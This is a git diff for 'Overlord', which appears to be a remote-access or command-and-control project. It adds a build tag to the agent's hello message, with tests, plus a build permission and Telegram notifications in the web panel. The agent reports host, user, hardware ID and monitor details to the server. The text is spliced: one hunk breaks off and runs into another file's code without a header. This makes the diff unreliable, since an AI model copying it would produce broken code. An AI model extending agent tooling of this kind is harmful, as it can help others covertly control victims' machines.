diff --git a/.vscode/settings.json b/.vscode/settings.json index bbd4fc9..a84d5b0 100644 --- a/.vscode/settings.json +++ b/.vscode/settings.json @@ -1,5 +1,7 @@ { "testing.exclude": { - "**/Overlord-Server/dist/**": true + "**/Overlord-Server/dist/**": true, + "**/dist/Overlord-Client/**": true, + "**/dist-clients/**": true } } diff --git a/Overlord-Client/cmd/agent/config/config.go b/Overlord-Client/cmd/agent/config/config.go index 654ae7b..f04e583 100644 --- a/Overlord-Client/cmd/agent/config/config.go +++ b/Overlord-Client/cmd/agent/config/config.go @@ -26,6 +26,7 @@ var DefaultMutex = "" var DefaultID = "" var DefaultCountry = "" var DefaultAgentToken = "" +var DefaultBuildTag = "" const settingsFile = "config/settings.json" const serverIndexFile = "config/server_index.json" @@ -60,6 +61,7 @@ type Config struct { TLSClientCert string TLSClientKey string AgentToken string + BuildTag string } func Load() Config { @@ -159,6 +161,7 @@ func Load() Config { TLSClientCert: tlsClientCert, TLSClientKey: tlsClientKey, AgentToken: agentToken, + BuildTag: strings.TrimSpace(DefaultBuildTag), } } diff --git a/Overlord-Client/cmd/agent/session.go b/Overlord-Client/cmd/agent/session.go index 6aa01d0..8d1e866 100644 --- a/Overlord-Client/cmd/agent/session.go +++ b/Overlord-Client/cmd/agent/session.go @@ -388,6 +388,7 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket. Monitors: capture.MonitorCount(), MonitorInfo: toWireMonitorInfo(capture.MonitorInfos()), Country: cfg.Country, + BuildTag: cfg.BuildTag, } if err := wire.WriteMsg(ctx, env.Conn, hello); err != nil { diff --git a/Overlord-Client/cmd/agent/wire/protocol.go b/Overlord-Client/cmd/agent/wire/protocol.go index b272994..8b284a1 100644 --- a/Overlord-Client/cmd/agent/wire/protocol.go +++ b/Overlord-Client/cmd/agent/wire/protocol.go @@ -12,6 +12,7 @@ type Hello struct { Monitors int `msgpack:"monitors"` MonitorInfo []MonitorInfo `msgpack:"monitorInfo,omitempty"` Country string `msgpack:"country,omitempty"` + BuildTag string `msgpack:"buildTag,omitempty"` } type MonitorInfo struct { diff --git a/Overlord-Client/cmd/agent/wire/protocol_test.go b/Overlord-Client/cmd/agent/wire/protocol_test.go index 46bcad2..302f6e1 100644 --- a/Overlord-Client/cmd/agent/wire/protocol_test.go +++ b/Overlord-Client/cmd/agent/wire/protocol_test.go @@ -57,6 +57,113 @@ func TestHelloMarshaling(t *testing.T) { } } +func TestHelloBuildTagMarshaling(t *testing.T) { + t.Run("with build tag", func(t *testing.T) { + hello := Hello{ + Type: "hello", + ID: "test-id", + HWID: "test-hwid", + Host: "test-host", + OS: "test-os", + Arch: "test-arch", + Version: "1.0.0", + User: "test-user", + BuildTag: "abc-123-def-456", + } + + data, err := msgpack.Marshal(hello) + if err != nil { + t.Fatalf("Failed to marshal Hello with BuildTag: %v", err) + } + + var decoded Hello + if err := msgpack.Unmarshal(data, &decoded); err != nil { + t.Fatalf("Failed to unmarshal Hello with BuildTag: %v", err) + } + + if decoded.BuildTag != "abc-123-def-456" { + t.Errorf("BuildTag mismatch: got %q, want %q", decoded.BuildTag, "abc-123-def-456") + } + if decoded.ID != hello.ID { + t.Errorf("ID mismatch: got %s, want %s", decoded.ID, hello.ID) + } + }) + + t.Run("without build tag (omitempty)", func(t *testing.T) { + hello := Hello{ + Type: "hello", + ID: "test-id", + HWID: "test-hwid", + Host: "test-host", + OS: "test-os", + Arch: "test-arch", + Version: "1.0.0", + User: "test-user", + } + + data, err := msgpack.Marshal(hello) + if err != nil { + t.Fatalf("Failed to marshal Hello without BuildTag: %v", err) + } + + // Verify buildTag key is not present in the wire data (omitempty) + if bytes.Contains(data, []byte("buildTag")) { + t.Error("Expected buildTag to be omitted from wire data when empty") + } + + var decoded Hello + if err := msgpack.Unmarshal(data, &decoded); err != nil { + t.Fatalf("Failed to unmarshal Hello without BuildTag: %v", err) + } + + if decoded.BuildTag != "" { + t.Errorf("BuildTag should be empty, got %q", decoded.BuildTag) + } + }) + + t.Run("server-side decode without build tag field", func(t *testing.T) { + // Simulate an older client that doesn't send buildTag at all + type OldHello struct { + Type string `msgpack:"type"` + ID string `msgpack:"id"` + HWID string `msgpack:"hwid"` + Host string `msgpack:"host"` + OS string `msgpack:"os"` + Arch string `msgpack:"arch"` + Version string `msgpack:"version"` + User string `msgpack:"user"` + } + + old := OldHello{ + Type: "hello", + ID: "old-client", + HWID: "old-hwid", + Host: "old-host", + OS: "windows", + Arch: "amd64", + Version: "0.9.0", + User: "old-user", + } + + data, err := msgpack.Marshal(old) + if err != nil { + t.Fatalf("Failed to marshal OldHello: %v", err) + } + + var decoded Hello + if err := msgpack.Unmarshal(data, &decoded); err != nil { + t.Fatalf("Failed to unmarshal OldHello into Hello: %v", err) + } + + if decoded.BuildTag != "" { + t.Errorf("BuildTag should default to empty for old client, got %q", decoded.BuildTag) + } + if decoded.ID != "old-client" { + t.Errorf("ID mismatch: got %s, want old-client", decoded.ID) + } + }) +} + func TestPingPongMarshaling(t *testing.T) { ping := Ping{ Type: "ping", diff --git a/Overlord-Server/public/assets/build.js b/Overlord-Server/public/assets/build.js index 372cf41..3cbca6b 100644 --- a/Overlord-Server/public/assets/build.js +++ b/Overlord-Server/public/assets/build.js @@ -141,7 +141,7 @@ async function init() { document.getElementById("deploy-link")?.classList.remove("hidden"); } - if (data.role === "admin" || data.role === "operator") { + if (data.role === "admin" || data.role === "operator" || data.canBuild) { buildLink?.classList.remove("hidden"); } @@ -149,10 +149,10 @@ async function init() { scriptsLink?.classList.remove("hidden"); } - if (data.role !== "admin" && data.role !== "operator") { + if (data.role !== "admin" && data.role !== "operator" && !data.canBuild) { buildBtn.disabled = true; buildBtn.innerHTML = - ' Build requires admin/operator role'; + ' Build requires permission'; } await loadServerVersion(); @@ -539,13 +539,14 @@ async function deleteBuild(buildId) { } try { - const res = await fetch(`/api/build/${buildId}/delete`, { + const res = await fetch(`/api/build/${encodeURIComponent(buildId)}/delete`, { method: "DELETE", credentials: "include", }); if (!res.ok) { - throw new Error("Failed to delete build"); + const data = await res.json().catch(() => ({})); + throw new Error(data.error || "Failed to delete build"); } const buildElement = document.getElementById(`build-${buildId}`); diff --git a/Overlord-Server/public/assets/main.js b/Overlord-Server/public/assets/main.js index fc7c44a..3d43a25 100644 --- a/Overlord-Server/public/assets/main.js +++ b/Overlord-Server/public/assets/main.js @@ -186,7 +186,7 @@ async function loadCurrentUser() { usersLink?.classList.remove("hidden"); } - if (currentUser.role === "admin" || currentUser.role === "operator") { + if (currentUser.role === "admin" || currentUser.role === "operator" || currentUser.canBuild) { buildLink?.classList.remove("hidden"); } diff --git a/Overlord-Server/public/assets/metrics.js b/Overlord-Server/public/assets/metrics.js index 2ca5c81..d66a028 100644 --- a/Overlord-Server/public/assets/metrics.js +++ b/Overlord-Server/public/assets/metrics.js @@ -550,7 +550,7 @@ async function checkAuth() { document.getElementById("build-link")?.classList.remove("hidden"); document.getElementById("plugins-link")?.classList.remove("hidden"); document.getElementById("deploy-link")?.classList.remove("hidden"); - } else if (data.role === "operator") { + } else if (data.role === "operator" || data.canBuild) { document.getElementById("build-link")?.classList.remove("hidden"); } diff --git a/Overlord-Server/public/assets/nav/role-ui.js b/Overlord-Server/public/assets/nav/role-ui.js index 1195146..1d126ee 100644 --- a/Overlord-Server/public/assets/nav/role-ui.js +++ b/Overlord-Server/public/assets/nav/role-ui.js @@ -7,6 +7,7 @@ export function applyUserRoleUI(user, refs) { pluginsLink, scriptsLink, logsLink, + notificationsLink, } = refs; if (!user || !usernameDisplay || !roleBadge) return; @@ -68,6 +69,7 @@ export function applyUserRoleUI(user, refs) { } if (user.role === "admin" || user.role === "operator") { buildLink?.classList.remove("hidden"); + notificationsLink?.classList.remove("hidden"); } if (user.role !== "viewer") { scriptsLink?.classList.remove("hidden"); diff --git a/Overlord-Server/public/assets/nav/template.js b/Overlord-Server/public/assets/nav/template.js index e476c52..06f5443 100644 --- a/Overlord-Server/public/assets/nav/template.js +++ b/Overlord-Server/public/assets/nav/template.js @@ -62,7 +62,7 @@ export function mountNav(host) { Notifications ({})); + if (!res.ok) { + showMessage(data.error || "Failed to save Telegram settings.", "error"); + return; + } + + myTelegramChatIdInput.value = data.telegramChatId || ""; + showMessage(chatId ? "Telegram chat ID saved." : "Telegram notifications disabled."); + } catch { + showMessage("Failed to save Telegram settings.", "error"); + } +} + async function loadBannedIps() { if (!currentUser) return; @@ -537,12 +580,14 @@ async function init() { try { await loadCurrentUser(); loadPrefs(); + await loadMyTelegram(); await loadSecurityPolicy(); await loadTlsSettings(); await loadBannedIps(); passwordForm.addEventListener("submit", updatePassword); prefsForm.addEventListener("submit", savePrefs); + if (saveMyTelegramBtn) saveMyTelegramBtn.addEventListener("click", saveMyTelegram); securityForm.addEventListener("submit", saveSecurityPolicy); tlsForm.addEventListener("submit", saveTlsSettings); tlsCertbotAutoBtn.addEventListener("click", runCertbotAutoSetup); diff --git a/Overlord-Server/public/assets/users.js b/Overlord-Server/public/assets/users.js index abce87c..9253503 100644 --- a/Overlord-Server/public/assets/users.js +++ b/Overlord-Server/public/assets/users.js @@ -68,6 +68,10 @@ async function getCurrentUser() { document.getElementById("build-link")?.classList.remove("hidden"); } + if (currentUser.canBuild) { + document.getElementById("build-link")?.classList.remove("hidden"); + } + if (currentUser.role !== "admin") { alert("Access denied. Admin role required."); window.location.href = "/"; @@ -149,6 +153,13 @@ function renderUsers() {
+ Receive Telegram notifications for clients you have access to. +
+
+ Send /start to the Telegram bot, then use /id or
+ @userinfobot
+ to find your chat ID.
+